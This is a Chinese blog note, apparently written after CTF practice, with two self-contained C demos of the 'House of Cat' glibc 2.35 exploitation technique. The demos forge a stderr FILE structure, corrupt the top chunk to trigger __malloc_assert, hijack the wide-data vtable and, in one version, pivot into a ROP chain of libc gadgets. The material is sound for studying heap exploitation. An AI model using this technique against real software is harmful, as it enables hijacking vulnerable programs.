HouseofApple的威力我已经领教过了,但是在程序没有从main返回或是正常的exit()的时候,就得利用HouseofcatIO链了。

Houseofcat的触发是通过__malloc_assert而不是像HouseofApple那样的通过exit()main返回,一般来说适用范围比HouseofApple更广。

接下来就是我写的两个版本的demo。注释总结了所有触发条件及注意事项.

其实两个版本几乎一样,orw的版本只是在ogg的版本上面多了一个magic_gadget来栈迁移和布置ROP链的步骤。

typedef struct _io_file
{                                          // hex(start at)
    int                   _flags;          // 0x0
    char                 *_IO_read_ptr;    // 0x8
    char                 *_IO_read_end;    // 0x10
    char                 *_IO_read_base;   // 0x18
    char                 *_IO_write_base;  // 0x20
    char                 *_IO_write_ptr;   // 0x28
    char                 *_IO_write_end;   // 0x30
    char                 *_IO_buf_base;    // 0x38
    char                 *_IO_buf_end;     // 0x40
    char                 *_IO_save_base;   // 0x48
    char                 *_IO_backup_base; // 0x50
    char                 *_IO_save_end;    // 0x58
    struct _IO_marker    *_markers;        // 0x60
    struct _IO_FILE      *_chain;          // 0x68
    int                   _fileno;         // 0x70
    int                   _flags2;         // 0x74
    long                  _old_offset;     // 0x78
    unsigned short        _cur_column;     // 0x80
    signed char           _vtable_offset;  // 0x82
    char                  _shortbuf[1];    // 0x83
    void                 *_lock;           // 0x88
    long                  _offset;         // 0x90
    struct _IO_codecvt   *_codecvt;        // 0x98
    struct _IO_wide_data *_wide_data;      // 0xa0
    struct _IO_FILE      *_freeres_list;   // 0xa8
    void                 *_freeres_buf;    // 0xb0
    unsigned long         __pad5;          // 0xb8
    int                   _mode;           // 0xc0
    char                  _unused2[20];    // 0xc4
} _io_file;

typedef struct _io_file_plus
{
    _io_file                 file;   // 0x0
    const struct _IO_jump_t *vtable; // 0xd8
} _io_file_plus;

typedef struct _io_wide_data
{
    int   _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
} _io_wide_data;

int main()
{
    long *p1 = malloc(0x500);
    long* p3 = malloc(0x300);
    char *p2 = malloc(0x20);
    free(p1);
    long libc_base = p1[0] - 0x219ce0;

    long *stderr_adr      = libc_base + 0x21a860;
    long *_io_wfile_jumps = libc_base + 0x2160c0;

    _io_file_plus *fake_stderr = malloc(0x300);
    *stderr_adr                = fake_stderr;
    // stderr地址上写入伪造结构体的地址
    fake_stderr->vtable        = ((long) _io_wfile_jumps + 0x10);
    // 伪造结构体的_vtable写上_IO_wfile_jumps
    fake_stderr->file._wide_data = malloc(0x1f0);
    // 伪造结构体的_wide_data上写入可控堆块地址
    _io_wide_data *wide_data   = fake_stderr->file._wide_data;

    wide_data->_IO_write_ptr  = 0xff;
    wide_data->_IO_write_base = 0x10;
    // fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

    ((long*)wide_data)[0x1c] = p3;
    p3[3] = libc_base + 0x50d60;
    // fp->_wide_data->vtable[0x1c]改为onegadget地址或magic_gadget

    strcpy(&(p2[0x28]), "\x01");
    strcpy(&(p2[0x29]), "\x01");
    strcpy(&(p2[0x2a]), "\x00");
    // 将topchunk的size改为不合理的值以触发__malloc_assert
    
    malloc(0x1000);
    // 触发__malloc_assert
    return 0;
}

// __malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn
// _IO_file_xsputn通过fp->vtable触发
// 原来的_IO_file_jumps->_IO_file_xsputn的偏移为0x38
// 而我们要去的_IO_wfile_seekoff在_IO_wfile_jumps中偏移为0x48
// 所以在原来_IO_file_jumps的地方写上_IO_wfile_jumps就可以让指向_IO_file_xsputn的偏移指向_IO_wfile_seekoff

// _IO_wfile_seekoff->_IO_switch_to_wget_mode->_IO_WOVERFLOW
// _IO_WOVERFLOW通过fp->_wide_data->_wide_vtable[0x1c]触发
// 所以将fp->_wide_data->_wide_vtable[0x1c]改为onegadget地址或magic_gadget
// 并且通过错误的topchunk值触发__malloc_assert即可调用onegadget地址或magic_gadget
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 91.
  • 92.
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
  • 103.
typedef struct _io_file
{                                          // hex(start at)
    int                   _flags;          // 0x0
    char                 *_IO_read_ptr;    // 0x8
    char                 *_IO_read_end;    // 0x10
    char                 *_IO_read_base;   // 0x18
    char                 *_IO_write_base;  // 0x20
    char                 *_IO_write_ptr;   // 0x28
    char                 *_IO_write_end;   // 0x30
    char                 *_IO_buf_base;    // 0x38
    char                 *_IO_buf_end;     // 0x40
    char                 *_IO_save_base;   // 0x48
    char                 *_IO_backup_base; // 0x50
    char                 *_IO_save_end;    // 0x58
    struct _IO_marker    *_markers;        // 0x60
    struct _IO_FILE      *_chain;          // 0x68
    int                   _fileno;         // 0x70
    int                   _flags2;         // 0x74
    long                  _old_offset;     // 0x78
    unsigned short        _cur_column;     // 0x80
    signed char           _vtable_offset;  // 0x82
    char                  _shortbuf[1];    // 0x83
    void                 *_lock;           // 0x88
    long                  _offset;         // 0x90
    struct _IO_codecvt   *_codecvt;        // 0x98
    struct _IO_wide_data *_wide_data;      // 0xa0
    struct _IO_FILE      *_freeres_list;   // 0xa8
    void                 *_freeres_buf;    // 0xb0
    unsigned long         __pad5;          // 0xb8
    int                   _mode;           // 0xc0
    char                  _unused2[20];    // 0xc4
} _io_file;

typedef struct _io_file_plus
{
    _io_file                 file;   // 0x0
    const struct _IO_jump_t *vtable; // 0xd8
} _io_file_plus;

typedef struct _io_wide_data
{
    int   _flags;
    char *_IO_read_ptr;
    char *_IO_read_end;
    char *_IO_read_base;
    char *_IO_write_base;
    char *_IO_write_ptr;
    char *_IO_write_end;
    char *_IO_buf_base;
    char *_IO_buf_end;
    char *_IO_save_base;
    char *_IO_backup_base;
    char *_IO_save_end;
} _io_wide_data;

int main()
{
    long *p1 = malloc(0x500);
    long* p3 = malloc(0x300);
    char *p2 = malloc(0x20);
    free(p1);
    long libc_base = p1[0] - 0x219ce0;

    long *stderr_adr      = libc_base + 0x21a860;
    long *_io_wfile_jumps = libc_base + 0x2160c0;

    _io_file_plus *fake_stderr = malloc(0x300);
    *stderr_adr                = fake_stderr;
    // stderr地址上写入伪造结构体的地址

    long* _io_save_base = malloc(0x100);
    fake_stderr->file._IO_save_base = _io_save_base;
    // rdi+0x48上写入可控堆地址(rbp)

    long* rax = malloc(0x30);
    _io_save_base[0x3] = rax;
    // rbp+0x18写入可控堆地址(rax)
    rax[0x5] = libc_base + 0x562EC;
    // 最后,rax+0x28写入orw的起点(leave,ret)

    fake_stderr->vtable        = ((long) _io_wfile_jumps + 0x10);
    // 伪造结构体的_vtable写上_IO_wfile_jumps

    fake_stderr->file._wide_data = malloc(0x1f0);
    // 伪造结构体的_wide_data上写入可控堆块地址

    _io_wide_data *wide_data   = fake_stderr->file._wide_data;
    wide_data->_IO_write_ptr  = 0xff;
    wide_data->_IO_write_base = 0x10;
    // fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

    ((long*)wide_data)[0x1c] = p3;
    p3[3] = libc_base + 0x16a1e0 + 26;
    // fp->_wide_data->vtable[0x1c]改为magic_gadget

    strcpy(&(p2[0x28 + 0x200]), "\x01");
    strcpy(&(p2[0x29 + 0x200]), "\x01");
    strcpy(&(p2[0x2a + 0x200]), "\x00");
    // 将topchunk的size改为不合理的值以触发__malloc_assert
    
    long pop_rax = libc_base + 0x45eb0;
    long pop_rdi = libc_base + 0x2a3e5;
    long pop_rsi = libc_base + 0x2be51;
    long pop_rdx_rbx = libc_base + 0x90529;
    long ret = libc_base + 0x45eb1;
    long syscall = libc_base + 0x1149CA;
    long str = libc_base + 0x167A2;

    _io_save_base[0x1] = pop_rdx_rbx;
    _io_save_base[0x2] = 0x100;
    // _io_save_base[0x3]不能改动,所以用一个pop的gadget把0x3垫掉就行
    _io_save_base[0x4] = pop_rsi;
    _io_save_base[0x5] = str;
    _io_save_base[0x6] = pop_rax;
    _io_save_base[0x7] = 0x0;
    _io_save_base[0x8] = pop_rdi;
    _io_save_base[0x9] = 1;
    _io_save_base[0xa] = syscall;
    _io_save_base[0xb] = rax;

    malloc(0x1000);
    // 触发__malloc_assert
    return 0;
}

// __malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn
// _IO_file_xsputn通过fp->vtable触发
// 原来的_IO_file_jumps->_IO_file_xsputn的偏移为0x38
// 而我们要去的_IO_wfile_seekoff在_IO_wfile_jumps中偏移为0x48
// 所以在原来_IO_file_jumps的地方写上_IO_wfile_jumps就可以让指向_IO_file_xsputn的偏移指向_IO_wfile_seekoff

// _IO_wfile_seekoff->_IO_switch_to_wget_mode->_IO_WOVERFLOW
// _IO_WOVERFLOW通过fp->_wide_data->_wide_vtable[0x1c]触发
// 所以将fp->_wide_data->_wide_vtable[0x1c]改为onegadget地址或magic_gadget
// 并且通过错误的topchunk值触发__malloc_assert即可调用onegadget地址或magic_gadget
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32.
  • 33.
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
  • 41.
  • 42.
  • 43.
  • 44.
  • 45.
  • 46.
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
  • 55.
  • 56.
  • 57.
  • 58.
  • 59.
  • 60.
  • 61.
  • 62.
  • 63.
  • 64.
  • 65.
  • 66.
  • 67.
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74.
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 91.
  • 92.
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99.
  • 100.
  • 101.
  • 102.
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.
  • 110.
  • 111.
  • 112.
  • 113.
  • 114.
  • 115.
  • 116.
  • 117.
  • 118.
  • 119.
  • 120.
  • 121.
  • 122.
  • 123.
  • 124.
  • 125.
  • 126.
  • 127.
  • 128.
  • 129.
  • 130.
  • 131.
  • 132.
  • 133.
  • 134.
  • 135.

放在这里主要防止哪天又忘记了方便查找.

下面是做题过程中的一些关键步骤。

Houseofcat的demo(ogg版本及orw版本)_houseofcat

Houseofcat本体劫持程序流发生的位置。这里是将vtable改成_IO_wfile_jumps的情况

__malloc_assert->__fxprintf->__vfxprintf->locked_vfxprintf->__vfprintf_internal->_IO_file_xsputn
_IO_file_xsputn通过fp->vtable触发
原来的_IO_file_jumps->_IO_file_xsputn的偏移为0x38
而我们要去的_IO_wfile_seekoff在_IO_wfile_jumps中偏移为0x48
所以在原来_IO_file_jumps的地方写上_IO_wfile_jumps就可以让指向_IO_file_xsputn的偏移指向_IO_wfile_seekoff
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.

Houseofcat的demo(ogg版本及orw版本)_houseofcat_02

_IO_file_jumps_IO_wfile_jumps中偏移差别。

Houseofcat的demo(ogg版本及orw版本)_二进制IO利用_03

这里是正常情况的调用,可以看到是调用的_IO_file_xputn

Houseofcat的demo(ogg版本及orw版本)_houseofcat_04

2.35下svcudp_reply中的magic_gadget

Houseofcat的demo(ogg版本及orw版本)_二进制IO利用_05

Houseofcat的demo(ogg版本及orw版本)_二进制IO利用_06

最后两张是magic_gadet之后通过leave;ret来打栈迁移